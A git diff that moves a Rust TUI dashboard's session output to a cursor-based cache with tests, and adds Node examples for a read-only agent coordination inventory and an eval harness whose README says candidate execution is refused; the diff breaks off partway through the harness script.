.collect(); + let session_output_generations = sessions + .iter() + .map(|session| (session.id.clone(), session.created_at)) + .collect(); let initial_approval_message_id = db .latest_unread_approval_message() .ok() .flatten() .map(|message| message.id); - let output_rx = output_store.subscribe(); let notifier = DesktopNotifier::new(cfg.desktop_notifications.clone()); let webhook_notifier = WebhookNotifier::new(cfg.webhook_notifications.clone()); let mut session_table_state = TableState::default(); @@ -544,13 +565,13 @@ impl Dashboard { let mut dashboard = Self { db, cfg, - output_store, - output_rx, notifier, webhook_notifier, sessions, session_harnesses, session_output_cache: HashMap::new(), + session_output_generations, + output_cursor: None, unread_message_counts: HashMap::new(), approval_queue_counts: HashMap::new(), approval_queue_preview: Vec::new(), @@ -624,6 +645,7 @@ impl Dashboard { dashboard.sync_handoff_backlog_counts(); dashboard.sync_board_meta(); dashboard.sync_global_handoff_backlog(); + dashboard.sync_output_cache(); dashboard.sync_selected_output(); dashboard.sync_selected_diff(); dashboard.sync_selected_messages(); @@ -3211,6 +3233,7 @@ impl Dashboard { )); } + /// Refreshes persisted dashboard state while preserving the output cursor. pub fn refresh(&mut self) { self.sync_from_store(); } @@ -3993,15 +4016,6 @@ impl Dashboard { } pub async fn tick(&mut self) { - loop { - match self.output_rx.try_recv() { - Ok(_event) => {} - Err(broadcast::error::TryRecvError::Empty) => break, - Err(broadcast::error::TryRecvError::Lagged(_)) => continue, - Err(broadcast::error::TryRecvError::Closed) => break, - } - } - if let Err(error) = manager::activate_pending_worktree_sessions(&self.db, &self.cfg).await { tracing::warn!("Failed to activate queued worktree sessions: {error}"); } @@ -4073,18 +4087,22 @@ impl Dashboard { ) } + /// Synchronizes dashboard state, deferring output recovery until sessions load. fn sync_from_store(&mut self) { let (heartbeat_enforcement, budget_enforcement, conflict_enforcement) = self.sync_runtime_metrics(); let selected_id = self.selected_session_id().map(ToOwned::to_owned); - self.sessions = match self.db.list_sessions() { + let sessions_refreshed = match self.db.list_sessions() { Ok(mut sessions) => { sort_sessions_for_display(&mut sessions); - sessions + self.sessions = sessions; + true } Err(error) => { tracing::warn!("Failed to refresh sessions: {error}"); - Vec::new() + self.output_cursor = None; + self.sessions.clear(); + false } }; self.session_harnesses = load_session_harnesses(&self.db, &self.cfg, &self.sessions); @@ -4103,7 +4121,9 @@ impl Dashboard { self.sync_approval_notifications(); self.sync_global_handoff_backlog(); self.sync_daemon_activity(); - self.sync_output_cache(); + if sessions_refreshed { + self.sync_output_cache(); + } self.sync_selection_by_id(selected_id.as_deref()); self.ensure_selected_pane_visible(); self.sync_selected_output(); @@ -4481,25 +4501,43 @@ impl Dashboard { } fn sync_output_cache(&mut self) { - let active_session_ids: HashSet<_> = self + let active_session_generations: HashMap<_, _> = self .sessions .iter() - .map(|session| session.id.as_str()) + .map(|session| (session.id.clone(), session.created_at)) .collect(); - self.session_output_cache - .retain(|session_id, _| active_session_ids.contains(session_id.as_str())); + let cached_generations = &self.session_output_generations; + self.session_output_cache = std::mem::take(&mut self.session_output_cache) + .into_iter() + .filter(|(session_id, _)| { + active_session_generations.get(session_id) == cached_generations.get(session_id) + }) + .collect(); + self.session_output_generations = active_session_generations; - for session in &self.sessions { - match self.db.get_output_lines(&session.id, OUTPUT_BUFFER_LIMIT) { - Ok(lines) => { - self.output_store.replace_lines(&session.id, lines.clone()); - self.session_output_cache.insert(session.id.clone(), lines); - } - Err(error) => { - tracing::warn!("Failed to load session output for {}: {error}", session.id); - } + let batch = match self.output_cursor { + Some(cursor) => self + .db + .get_output_since(cursor, OUTPUT_DELTA_BATCH_LIMIT), + None => self.db.get_output_snapshot(OUTPUT_BUFFER_LIMIT), + }; + let batch = match batch { + Ok(batch) => batch, + Err(error) => { + tracing::warn!("Failed to refresh session output cache: {error}"); + return; } + }; + + if self.output_cursor.is_none() { + self.session_output_cache = HashMap::new(); } + self.output_cursor = Some(batch.cursor); + + self.session_output_cache = append_output_records( + std::mem::take(&mut self.session_output_cache), + batch.records, + ); } fn ensure_selected_pane_visible(&mut self) { @@ -5212,6 +5250,7 @@ impl Dashboard { .map(|session| session.id.as_str()) } + /// Returns the selected session's currently cached output window. fn selected_output_lines(&self) -> &[OutputLine] { self.selected_session_id() .and_then(|session_id| self.session_output_cache.get(session_id)) @@ -13147,6 +13186,260 @@ diff --git a/src/lib.rs b/src/lib.rs Ok(()) } + #[test] + fn output_cache_appends_rows_written_by_another_process_without_rehydrating() -> Result<()> { + let db_path = + std::env::temp_dir().join(format!("ecc2-output-cursor-{}.db", Uuid::new_v4())); + let db = StateStore::open(&db_path)?; + let session = sample_session("session-1", "claude", SessionState::Running, None, 0, 0); + db.insert_session(&session)?; + db.append_output_line("session-1", OutputStream::Stdout, "persisted-before-open")?; + + let mut dashboard = Dashboard::new(db, Config::default()); + assert!(dashboard + .selected_output_text() + .contains("persisted-before-open")); + dashboard + .session_output_cache + .entry("session-1".to_string()) + .or_default() + .push(test_output_line(OutputStream::Stdout, "cache-only")); + + let child = Command::new(std::env::current_exe()?) + .args([ + "--exact", + "tui::dashboard::tests::output_cursor_child_writer", + "--ignored", + "--nocapture", + ]) + .env("ECC2_OUTPUT_CURSOR_CHILD_DB", &db_path) + .status()?; + assert!(child.success(), "child output writer should succeed"); + dashboard.refresh(); + + let text = dashboard.selected_output_text(); + assert!(text.contains("persisted-before-open")); + assert!(text.contains("cache-only")); + assert!(text.contains("persisted-after-open")); + + dashboard.sync_output_cache(); + assert_eq!( + dashboard + .selected_output_lines() + .iter() + .filter(|line| line.text == "persisted-after-open") + .count(), + 1 + ); + + let _ = std::fs::remove_file(db_path); + Ok(()) + } + + #[test] + #[ignore = "helper invoked by output cursor cross-process test"] + fn output_cursor_child_writer() -> Result<()> { + let Some(db_path) = std::env::var_os("ECC2_OUTPUT_CURSOR_CHILD_DB") else { + return Ok(()); + }; + StateStore::open(Path::new(&db_path))?.append_output_line( + "session-1", + OutputStream::Stderr, + "persisted-after-open", + ) + } + + #[test] + fn output_cache_rehydrates_after_transient_session_list_failure() -> Result<()> { + let db_path = + std::env::temp_dir().join(format!("ecc2-output-recovery-{}.db", Uuid::new_v4())); + let db = StateStore::open(&db_path)?; + let session = sample_session("session-1", "claude", SessionState::Running, None, 0, 0); + db.insert_session(&session)?; + db.append_output_line("session-1", OutputStream::Stdout, "persisted-output")?; + + let mut dashboard = Dashboard::new(db, Config::default()); + assert!(dashboard + .selected_output_text() + .contains("persisted-output")); + dashboard + .session_output_cache + .entry("session-1".to_string()) + .or_default() + .push(test_output_line(OutputStream::Stdout, "cache-only")); + + let schema = rusqlite::Connection::open(&db_path)?; + schema.execute("ALTER TABLE sessions RENAME TO unavailable_sessions", [])?; + dashboard.sync_from_store(); + assert!(dashboard.sessions.is_empty()); + assert!(dashboard.session_output_cache["session-1"] + .iter() + .any(|line| line.text == "cache-only")); + assert!(dashboard.output_cursor.is_none()); + + dashboard.sync_from_store(); + assert!(dashboard.session_output_cache["session-1"] + .iter() + .any(|line| line.text == "cache-only")); + assert!(dashboard.output_cursor.is_none()); + + schema.execute("ALTER TABLE unavailable_sessions RENAME TO sessions", [])?; + dashboard.sync_from_store(); + + assert_eq!(dashboard.sessions.len(), 1); + assert!(dashboard + .selected_output_text() + .contains("persisted-output")); + assert!(!dashboard.selected_output_text().contains("cache-only")); + + let _ = std::fs::remove_file(db_path); + Ok(()) + } + + #[test] + fn output_cache_tracks_session_add_delete_and_same_id_recreation() -> Result<()> { + let db_path = + std::env::temp_dir().join(format!("ecc2-output-lifecycle-{}.db", Uuid::new_v4())); + let db = StateStore::open(&db_path)?; + db.insert_session(&sample_session( + "session-1", + "claude", + SessionState::Running, + None, + 0, + 0, + ))?; + db.append_output_line("session-1", OutputStream::Stdout, "first-session")?; + + let mut dashboard = Dashboard::new(db, Config::default()); + let external = StateStore::open(&db_path)?; + external.insert_session(&sample_session( + "session-2", + "codex", + SessionState::Running, + None, + 0, + 0, + ))?; + external.append_output_line("session-2", OutputStream::Stderr, "new-session")?; + dashboard.sync_from_store(); + + assert!(dashboard + .sessions + .iter() + .any(|session| session.id == "session-2")); + assert_eq!( + dashboard.session_output_cache["session-2"][0].text, + "new-session" + ); + + external.delete_session("session-2")?; + let replacement_time = Utc::now() + chrono::Duration::seconds(1); + external.insert_session(&Session { + created_at: replacement_time, + updated_at: replacement_time, + last_heartbeat_at: replacement_time, + ..sample_session("session-2", "codex", SessionState::Running, None, 0, 0) + })?; + external.append_output_line("session-2", OutputStream::Stdout, "replacement-session")?; + dashboard.sync_from_store(); + + let replacement = &dashboard.session_output_cache["session-2"]; + assert_eq!(replacement.len(), 1); + assert_eq!(replacement[0].text, "replacement-session"); + + let _ = std::fs::remove_file(db_path); + Ok(()) + } + + #[test] + fn output_cache_retries_delta_after_transient_output_query_failure() -> Result<()> { + let db_path = + std::env::temp_dir().join(format!("ecc2-output-query-retry-{}.db", Uuid::new_v4())); + let db = StateStore::open(&db_path)?; + db.insert_session(&sample_session( + "session-1", + "claude", + SessionState::Running, + None, + 0, + 0, + ))?; + db.append_output_line("session-1", OutputStream::Stdout, "persisted-before")?; + + let mut dashboard = Dashboard::new(db, Config::default()); + dashboard + .session_output_cache + .get_mut("session-1") + .expect("hydrated output") + .push(test_output_line(OutputStream::Stdout, "cache-only")); + let cursor = dashboard.output_cursor; + + let schema = rusqlite::Connection::open(&db_path)?; + schema.execute( + "ALTER TABLE session_output RENAME TO unavailable_session_output", + [], + )?; + dashboard.sync_output_cache(); + assert_eq!(dashboard.output_cursor, cursor); + assert!(dashboard.session_output_cache["session-1"] + .iter() + .any(|line| line.text == "cache-only")); + + schema.execute( + "ALTER TABLE unavailable_session_output RENAME TO session_output", + [], + )?; + StateStore::open(&db_path)?.append_output_line( + "session-1", + OutputStream::Stderr, + "persisted-after", + )?; + dashboard.sync_output_cache(); + + let output = &dashboard.session_output_cache["session-1"]; + assert!(output.iter().any(|line| line.text == "cache-only")); + assert_eq!( + output + .iter() + .filter(|line| line.text == "persisted-after") + .count(), + 1 + ); + + let _ = std::fs::remove_file(db_path); + Ok(()) + } + + #[test] + fn append_output_records_bounds_each_session_to_the_latest_window() { + let mut cache = HashMap::from([( + "session-2".to_string(), + vec![test_output_line(OutputStream::Stderr, "other-session")], + )]); + let records = (0..(OUTPUT_BUFFER_LIMIT + 5)) + .map(|index| crate::session::store::SessionOutputRecord { + id: index as i64 + 1, + session_id: "session-1".to_string(), + line: test_output_line(OutputStream::Stdout, &format!("line-{index}")), + }) + .collect(); + + cache = append_output_records(cache, records); + + let session_lines = cache.get("session-1").expect("session output"); + assert_eq!(session_lines.len(), OUTPUT_BUFFER_LIMIT); + assert_eq!( + session_lines.first().map(|line| line.text.as_str()), + Some("line-5") + ); + assert_eq!( + session_lines.last().map(|line| line.text.as_str()), + Some(format!("line-{}", OUTPUT_BUFFER_LIMIT + 4).as_str()) + ); + assert_eq!(cache["session-2"][0].text, "other-session"); + } + #[test] fn submit_search_tracks_matches_and_sets_navigation_note() { let mut dashboard = test_dashboard( @@ -14917,8 +15210,10 @@ diff --git a/src/lib.rs b/src/lib.rs ) }) .collect(); - let output_store = SessionOutputStore::default(); - let output_rx = output_store.subscribe(); + let session_output_generations = sessions + .iter() + .map(|session| (session.id.clone(), session.created_at)) + .collect(); let mut session_table_state = TableState::default(); if !sessions.is_empty() { session_table_state.select(Some(selected_session)); @@ -14928,13 +15223,13 @@ diff --git a/src/lib.rs b/src/lib.rs db: StateStore::open(Path::new(":memory:")).expect("open test db"), pane_size_percent: configured_pane_size(&cfg, cfg.pane_layout), cfg, - output_store, - output_rx, notifier, webhook_notifier, sessions, session_harnesses, session_output_cache: HashMap::new(), + session_output_generations, + output_cursor: None, unread_message_counts: HashMap::new(), approval_queue_counts: HashMap::new(), approval_queue_preview: Vec::new(), diff --git a/examples/coordination-inventory/README.md b/examples/coordination-inventory/README.md new file mode 100644 index 000000000..97789209e --- /dev/null +++ b/examples/coordination-inventory/README.md @@ -0,0 +1,150 @@ +# Read-only coordination inventory + +One local JSON report joins declared task IDs and parent IDs, heartbeat age, +optional process metadata, OS RAM, declared resource leases and path/import +warnings. It reuses ECC's orchestration status parser and agent-proximity +scoring. It does not start a server or send messages. + +From the repository root, with Node 18 or newer and no dependency install: + +```sh +node scripts/coordination-inventory.js --manifest examples/coordination-inventory/manifest.json --now 2026-09-08T06:30:00.000Z +node scripts/coordination-inventory.js --manifest examples/coordination-inventory/goals.json --now 2026-09-08T06:30:00.000Z +node scripts/coordination-inventory.js --coordination /path/to/coordination --live +node examples/coordination-inventory/evaluate.js +node --test tests/scripts/coordination-inventory.test.js +node --test tests/scripts/coordination-goals.test.js +node examples/coordination-inventory/benchmark.js +``` + +The first command uses a **synthetic** fixed-time fixture. It demonstrates a +parent/child pair with an import dependency, a stale heartbeat and conflicting +browser ownership declarations. The file grants no browser access. + +`--coordination` reads direct child directories with `STATUS.md` or legacy +`status.md`. Structured `- State:` and UTC `- Updated:` fields use the existing +orchestration parser. Freeform status has unknown state/heartbeat; modification +time is reported separately. Symlink task directories and final status files +are not followed. Unreadable child directories make discovery partial; an +unavailable root is explicit, not an empty successful inventory. + +`--live` samples OS total/free bytes and, for explicitly declared positive PIDs, +`ps` PID, parent PID, RSS, elapsed time and state flags on macOS/Linux. It uses a +two-second timeout without shell expansion. It never reads argv, environment, +transcripts or process executable names. Unsupported platforms and inaccessible +process telemetry are explicit. Free memory is not macOS memory pressure or a +safe allocation budget. No PID supplied means no process scan. PID identity and +PID reuse are not verified. An old heartbeat means inspection is useful; it +cannot prove that a process is stuck. + +## Manifest contract + +See `manifest.json`. Version 1 accepts repositories with IDs and source snippet +maps, tasks with IDs, optional parent IDs, repository IDs, repo-relative declared +paths, optional PIDs/status/UTC heartbeat times, and leases with resource, owner +and UTC expiry. Parent IDs can reference an external orchestrator. Repository +IDs scope warnings across separate checkouts; use the same logical repo ID for +workers editing the same repository. Duplicate task IDs are rejected, including +when combining a manifest with discovered status files. + +Bounds: 1 MiB JSON, 64 tasks/repositories, 128 paths per task, 128 snippets per +repository, 1 KiB per snippet and 32 KiB snippets total, 128 leases. Snippets can +be just import statements plus empty entries for known targets. They are parsed +as text, never executed or emitted in the report. An aggregate comparison budget +rejects excessive pair/graph work; split large inputs into smaller inventories. +Only provide nonsensitive metadata in task IDs, status fields and paths. + +Every result identifies coverage. Paths are declared intentions, not a scan of +all current edits. Only supplied relative JS/TS imports resolve. Missing paths +or source snippets mean incomplete visibility. Existing control-pane default +working sets use committed `base...HEAD` differences and can miss dirty and +untracked work; this example does not claim to fix that separate adapter. + +Leases are owner declarations, not enforced locks. Expired entries are visible +but excluded from simultaneous-owner conflicts. An unexpired entry does not +prove the owner is alive or authorized. The caller supplies those declarations; +the inventory never acquires, renews or releases leases. No lease records means +ownership is unknown. No pause, steer, kill, settings change or allocation occurs. + +## Declared goals and sessions + +Optional `goals` and `sessions` collections add observations to the v1 manifest. +Each accepts at most 64 records, within the same 1 MiB total input budget. IDs +are unique within each collection. A goal accepts `id`, optional `taskId`, +`kind` (`native` or `unknown`), `status` (`active`, `complete`, `blocked` or +`unknown`), and optional UTC `updatedAt`. A session accepts `id`, optional +`taskId`/`goalId`, `status` (`open`, `closed` or `unknown`) and optional UTC +`updatedAt`. Omitted kind/status defaults to `unknown`; invalid supplied enum +values and scalar collection types are rejected. Supplied non-null links must +reference a supplied task or goal. These are associations, not exclusive owners; +multiple sessions may reference one goal without counting that goal twice. + +`goals.json` is synthetic: three open sessions reference one active goal, one +completed goal and one missing goal declaration. At its fixed example time the +report has one `freshActiveNativeGoalDeclarations` and one +`openSessionsWithoutGoalDeclaration`. An open session linked to a completed goal +stays open while the goal stays complete. Neither status overwrites the other. + +Every goal/session record has `authority: "declared-only"`. Even `kind: "native"` +is the caller's claim, not a native goal-tool verification. Supply a nonsensitive +observation derived from an authorized tool receipt; do not paste raw tool blobs, +objective text, transcripts or credentials. Unrecognized fields are omitted from +reports. The inventory never reads private thread stores or automatically imports +GOAL-STATE files. The caller retains the receipt and its provenance separately. + +`coverage.goals` and `coverage.sessions` distinguish `missing` collections from +`declared-only` collections, including explicitly empty arrays. Neither proves +global absence. `activity` contains declaration counts by status, native-kind +declaration counts, open sessions without goal links and the number of fresh +active native-kind declarations. These count records, not task associations or +verified running processes. No goal is inferred from a terminal, task `status`, +heartbeat, PID, resource lease or status-file modification time. + +Freshness uses the existing five-minute observation threshold: exactly five +minutes old is fresh, older is stale, future observations are `clock-skew`, and +missing timestamps are unknown. It does not rewrite declared state, and even a +fresh active declaration does not prove current execution. Goal/session state +never suppresses overlap warnings or expands process probing. Ownership remains +in declared paths and resource leases; no pause, message, steer or permission +grant is triggered by any count or warning. + +Existing task, warning, resource and lease outputs are unchanged. The new arrays, +activity summary and coverage keys are additive v1 output; consumers that reject +unknown fields need updating. Older consumers will ignore these declarations. +This remains a source-checkout example; these commands/examples are not claimed +to be shipped in the npm package. + +## Evaluation and limitations + +Eight authored synthetic pairs compare an exact-path baseline with ECC's +existing overlap/import/tree heuristic, using threshold 0.35. Tree proximity +alone does not trigger a warning. The score is not a calibrated probability. + +| Detector | True positive | False positive | True negative | False negative | +| --- | ---: | ---: | ---: | ---: | +| Exact path | 1 | 0 | 4 | 3 | +| Path and import | 2 | 1 | 3 | 2 | + +The extra detection is a direct relative import. A commented import produces +one false positive; an alias and a cross-artifact relationship are missed. These +are explicit characterization cases, not a held-out benchmark. Source parsing +is regex-based and incomplete; hashed visual coordinates, semantic/PCA proximity, +predictive proximity and 85% conflict reduction are not validated here. + +Next experiment: freeze 20 paired isolated tasks and collect declared intent, +actual changed paths and import edges in shadow mode. Have a human label which +pairs needed coordination before inspecting scores. Report precision, recall, +alerts per pair and p50/p95 overhead against exact-path and isolation-only +baselines. After that, randomize warning display and measure conflict/rework +rate with the same task mix. No automatic pause until warning usefulness and +ownership enforcement are separately established. + +The dependency-free `benchmark.js` characterizes the legacy fixture, declared +fixture and 64-goal/64-session limit with five warmup batches and 31 measured +batches of ten inventory builds each. It reports median/p95 batch-average +milliseconds, sample counts, fixed input hashes and the same eight overlap +controls. It excludes process startup and CLI I/O; the declaration-limit workload +is not a worst-case graph benchmark. Compare identical input hashes, Node runtime +and parameters before/after on the same machine. Historical one-shot elapsed +time is not a comparable speedup baseline. No performance improvement or conflict +reduction is asserted from merely adding these observations. diff --git a/examples/coordination-inventory/benchmark.js b/examples/coordination-inventory/benchmark.js new file mode 100644 index 000000000..c1171aeba --- /dev/null +++ b/examples/coordination-inventory/benchmark.js @@ -0,0 +1,58 @@ +#!/usr/bin/env node +'use strict'; +const { performance } = require('node:perf_hooks'); +const { createHash } = require('node:crypto'); +const { buildInventory } = require('../../scripts/lib/coordination-inventory'); +const legacy = require('./manifest.json'); +const declared = require('./goals.json'); +const controls = require('./fixtures.json'); +const now = '2026-09-08T06:30:00.000Z'; +const parameters = { warmupBatches: 5, samples: 31, iterationsPerSample: 10 }; +const atLimit = { ...legacy, + goals: Array.from({ length: 64 }, (_, i) => ({ id: `g${i}`, taskId: 'a', + kind: 'native', status: 'active', updatedAt: now })), + sessions: Array.from({ length: 64 }, (_, i) => ({ id: `s${i}`, taskId: 'a', + goalId: `g${i}`, status: 'open', updatedAt: now })) +}; + +function measure(name, manifest) { + const batch = () => { + for (let i = 0; i < parameters.iterationsPerSample; i += 1) buildInventory(manifest, { now }); + }; + for (let i = 0; i < parameters.warmupBatches; i += 1) batch(); + const samples = Array.from({ length: parameters.samples }, () => { + const start = performance.now(); batch(); + return (performance.now() - start) / parameters.iterationsPerSample; + }).sort((a, b) => a - b); + const report = buildInventory(manifest, { now }); + const input = JSON.stringify(manifest); + return { name, inputBytes: Buffer.byteLength(input), + inputSha256: createHash('sha256').update(input).digest('hex'), + medianMs: samples[Math.floor(samples.length / 2)], + p95Ms: samples[Math.ceil(samples.length * 0.95) - 1], samplesMs: samples, + warnings: report.warnings, activity: report.activity ?? null }; +} + +const rows = controls.map(control => { + const [a, b] = control.manifest.tasks; + return { id: control.id, needsReview: control.needsReview, + exactPath: a.repoId === b.repoId && a.paths.some(p => b.paths.includes(p)), + pathAndImport: buildInventory(control.manifest, { now }).warnings.length > 0 }; +}); +const matrix = detector => rows.reduce((result, row) => { + const key = row.needsReview ? (row[detector] ? 'truePositive' : 'falseNegative') + : (row[detector] ? 'falsePositive' : 'trueNegative'); + return { ...result, [key]: result[key] + 1 }; +}, { truePositive: 0, falsePositive: 0, trueNegative: 0, falseNegative: 0 }); +const report = { + version: 1, mode: 'synthetic-local-characterization', node: process.version, + platform: process.platform, parameters, + workloads: [measure('legacy', legacy), measure('declared', declared), measure('declaration-limit', atLimit)], + overlapControls: { dataset: 'eight-authored-synthetic-pairs-v1', rows, + baseline: matrix('exactPath'), candidate: matrix('pathAndImport') }, + limits: ['Batch average buildInventory time excludes process startup and CLI I/O.', + 'Declaration-limit uses 64 goals and 64 sessions; it is not a maximum graph-work benchmark.', + 'Timing is machine-dependent; no production conflict reduction or 85% improvement claim.', + 'Declarations are caller input, not verified native goal or session execution.'] +}; +process.stdout.write(`${JSON.stringify(report, null, 2)}\n`); diff --git a/examples/coordination-inventory/evaluate.js b/examples/coordination-inventory/evaluate.js new file mode 100644 index 000000000..6449b52ea --- /dev/null +++ b/examples/coordination-inventory/evaluate.js @@ -0,0 +1,19 @@ +#!/usr/bin/env node +'use strict'; +const { performance } = require('node:perf_hooks'); +const { buildInventory } = require('../../scripts/lib/coordination-inventory'); +const cases = require('./fixtures.json'); +function matrix() { return { truePositive: 0, falsePositive: 0, trueNegative: 0, falseNegative: 0 }; } +function add(m, expected, actual) { m[expected ? actual ? 'truePositive' : 'falseNegative' : actual ? 'falsePositive' : 'trueNegative'] += 1; } +const baseline = matrix(); const candidate = matrix(); +const started = performance.now(); +const rows = cases.map(c => { + const report = buildInventory(c.manifest, { now: '2026-09-08T06:30:00.000Z' }); + const [a,b] = c.manifest.tasks; + const exactPath = a.repoId === b.repoId && a.paths.some(p => b.paths.includes(p)); + const warning = report.warnings.length > 0; + add(baseline,c.needsReview,exactPath); add(candidate,c.needsReview,warning); + return { id: c.id, needsReview: c.needsReview, exactPath, pathAndImport: warning }; +}); +process.stdout.write(`${JSON.stringify({ version:1, dataset:'eight-authored-synthetic-pairs-v1', rows, baseline, candidate, + elapsedMs: performance.now()-started, conclusion:'Fixture detection only. Not a measured reduction in conflicts or validation of semantic/PCA proximity.' },null,2)}\n`); diff --git a/examples/coordination-inventory/fixtures.json b/examples/coordination-inventory/fixtures.json new file mode 100644 index 000000000..84dddfde5 --- /dev/null +++ b/examples/coordination-inventory/fixtures.json @@ -0,0 +1,255 @@ +[ + { + "id": "same-path", + "needsReview": true, + "manifest": { + "version": 1, + "repositories": [ + { + "id": "repo", + "sources": {} + } + ], + "tasks": [ + { + "id": "a", + "repoId": "repo", + "paths": [ + "src/a.js" + ] + }, + { + "id": "b", + "repoId": "repo", + "paths": [ + "src/a.js" + ] + } + ], + "leases": [] + } + }, + { + "id": "direct-relative-import", + "needsReview": true, + "manifest": { + "version": 1, + "repositories": [ + { + "id": "repo", + "sources": { + "src/a.js": "require('../lib/b')", + "lib/b.js": "" + } + } + ], + "tasks": [ + { + "id": "a", + "repoId": "repo", + "paths": [ + "src/a.js" + ] + }, + { + "id": "b", + "repoId": "repo", + "paths": [ + "lib/b.js" + ] + } + ], + "leases": [] + } + }, + { + "id": "independent", + "needsReview": false, + "manifest": { + "version": 1, + "repositories": [ + { + "id": "repo", + "sources": {} + } + ], + "tasks": [ + { + "id": "a", + "repoId": "repo", + "paths": [ + "src/a.js" + ] + }, + { + "id": "b", + "repoId": "repo", + "paths": [ + "docs/guide.md" + ] + } + ], + "leases": [] + } + }, + { + "id": "same-directory", + "needsReview": false, + "manifest": { + "version": 1, + "repositories": [ + { + "id": "repo", + "sources": {} + } + ], + "tasks": [ + { + "id": "a", + "repoId": "repo", + "paths": [ + "src/a.js" + ] + }, + { + "id": "b", + "repoId": "repo", + "paths": [ + "src/b.js" + ] + } + ], + "leases": [] + } + }, + { + "id": "separate-repositories", + "needsReview": false, + "manifest": { + "version": 1, + "repositories": [ + { + "id": "repo", + "sources": {} + }, + { + "id": "other", + "sources": {} + } + ], + "tasks": [ + { + "id": "a", + "repoId": "repo", + "paths": [ + "src/a.js" + ] + }, + { + "id": "b", + "repoId": "other", + "paths": [ + "src/a.js" + ] + } + ], + "leases": [] + } + }, + { + "id": "comment-false-positive", + "needsReview": false, + "manifest": { + "version": 1, + "repositories": [ + { + "id": "repo", + "sources": { + "src/a.js": "// require('../lib/b')", + "lib/b.js": "" + } + } + ], + "tasks": [ + { + "id": "a", + "repoId": "repo", + "paths": [ + "src/a.js" + ] + }, + { + "id": "b", + "repoId": "repo", + "paths": [ + "lib/b.js" + ] + } + ], + "leases": [] + } + }, + { + "id": "alias-false-negative", + "needsReview": true, + "manifest": { + "version": 1, + "repositories": [ + { + "id": "repo", + "sources": { + "src/a.js": "import b from '@lib/b'", + "lib/b.js": "" + } + } + ], + "tasks": [ + { + "id": "a", + "repoId": "repo", + "paths": [ + "src/a.js" + ] + }, + { + "id": "b", + "repoId": "repo", + "paths": [ + "lib/b.js" + ] + } + ], + "leases": [] + } + }, + { + "id": "cross-artifact-false-negative", + "needsReview": true, + "manifest": { + "version": 1, + "repositories": [ + { + "id": "repo", + "sources": {} + } + ], + "tasks": [ + { + "id": "a", + "repoId": "repo", + "paths": [ + "specs/login.md" + ] + }, + { + "id": "b", + "repoId": "repo", + "paths": [ + "ui/login.html" + ] + } + ], + "leases": [] + } + } +] diff --git a/examples/coordination-inventory/goals.json b/examples/coordination-inventory/goals.json new file mode 100644 index 000000000..415eb0fb1 --- /dev/null +++ b/examples/coordination-inventory/goals.json @@ -0,0 +1,18 @@ +{ + "version": 1, + "repositories": [{ "id": "repo", "sources": { "src/a.js": "require('../lib/b')", "lib/b.js": "" } }], + "tasks": [ + { "id": "a", "repoId": "repo", "paths": ["src/a.js"], "status": "running" }, + { "id": "b", "repoId": "repo", "paths": ["lib/b.js"], "parentId": "a" } + ], + "goals": [ + { "id": "goal-active", "taskId": "a", "kind": "native", "status": "active", "updatedAt": "2026-09-08T06:30:00.000Z" }, + { "id": "goal-complete", "taskId": "b", "kind": "native", "status": "complete", "updatedAt": "2026-09-08T06:30:00.000Z" } + ], + "sessions": [ + { "id": "session-active", "taskId": "a", "goalId": "goal-active", "status": "open", "updatedAt": "2026-09-08T06:30:00.000Z" }, + { "id": "session-open-complete", "taskId": "b", "goalId": "goal-complete", "status": "open" }, + { "id": "terminal-only", "status": "open" } + ], + "leases": [] +} diff --git a/examples/coordination-inventory/manifest.json b/examples/coordination-inventory/manifest.json new file mode 100644 index 000000000..c0657731e --- /dev/null +++ b/examples/coordination-inventory/manifest.json @@ -0,0 +1,42 @@ +{ + "version": 1, + "repositories": [ + { + "id": "repo", + "sources": { + "src/a.js": "require('../lib/b')", + "lib/b.js": "" + } + } + ], + "tasks": [ + { + "id": "a", + "repoId": "repo", + "paths": [ + "src/a.js" + ], + "heartbeatAt": "2026-09-08T06:00:00Z" + }, + { + "id": "b", + "repoId": "repo", + "paths": [ + "lib/b.js" + ], + "parentId": "a" + } + ], + "leases": [ + { + "resource": "browser:chrome", + "owner": "root", + "expiresAt": "2026-09-08T07:00:00Z" + }, + { + "resource": "browser:chrome", + "owner": "worker", + "expiresAt": "2026-09-08T07:00:00Z" + } + ] +} diff --git a/examples/eval-harness/README.md b/examples/eval-harness/README.md new file mode 100644 index 000000000..675a224b4 --- /dev/null +++ b/examples/eval-harness/README.md @@ -0,0 +1,33 @@ +# Eval Harness Example + +```sh +node scripts/eval-harness.js example +# Keep the temporary artifacts for inspection: +node examples/eval-harness/run-example.js --keep +``` + +The example verifies that candidate execution is unavailable, inspects source +without loading it, records and replays a locally declared fixture function, +and builds an offline capsule receipt. It changes a journal value in a copy +and checks that verification detects the changed entry. All five capsule +lineages describe these observations; none represent a scored candidate run. + +**Supported candidate execution backends: none.** `gate run`, `runGate`, +`runVariant`, `gate-child.js`, and the retired `effect-fence.js` preload refuse +with `gate.isolation_required`. No `trusted_local`, `--trusted-local`, or +caller-supplied isolation claim enables execution. The example emits no gate +receipt, score, or promotion verdict. + +With `--keep`, inspect `capsule/journal.ndjson`, `capsule/projection.json`, +`fixtures/`, and `bundle/receipt.json` in the printed work directory. + +| Path | Purpose | +| --- | --- | +| `taskset.json` | Twelve slugify tasks for static inspection, three marked held out | +| `gate.config.json` | Preserved gate input example; `gate run` currently refuses it | +| `variants/baseline` | Known-weak source fixture; never executed by this example | +| `variants/candidate` | Honest source fixture; never executed by this example | +| `variants/reward-hack` | Source fixture with visible syntactic warnings | + +See `docs/architecture/eval-harness-frameworks.md` for the OS containment +requirements and the limits of static inspection and receipt verification. diff --git a/examples/eval-harness/gate.config.json b/examples/eval-harness/gate.config.json new file mode 100644 index 000000000..fa53b9072 --- /dev/null +++ b/examples/eval-harness/gate.config.json @@ -0,0 +1,12 @@ +{ + "taskset": "taskset.json", + "baseline": "variants/baseline", + "candidate": "variants/candidate", + "max_effect_class": "SE1", + "thresholds": { + "smoke_tasks": 3, + "min_pass_rate": 0.9, + "max_regressions": 0, + "timeout_ms": 20000 + } +} diff --git a/examples/eval-harness/run-example.js b/examples/eval-harness/run-example.js new file mode 100644 index 000000000..8dacd3db3 --- /dev/null +++ b/examples/eval-harness/run-example.js @@ -0,0 +1,146 @@ +#!/usr/bin/env node +'use strict'; + +/** + * End-to-end demonstration of the eval-harness frameworks. + * + * node examples/eval-harness/run-example.js [--keep] + * + * Demonstrates execution refusal, static inspection, fixture replay and + * capsule receipt verification. No candidate code is executed or promoted. + * Temporary files and locally declared fixture functions are used offline. + */ + +const fs = require('fs'); +const os = require('os'); +const path = require('path'); + +const harness = 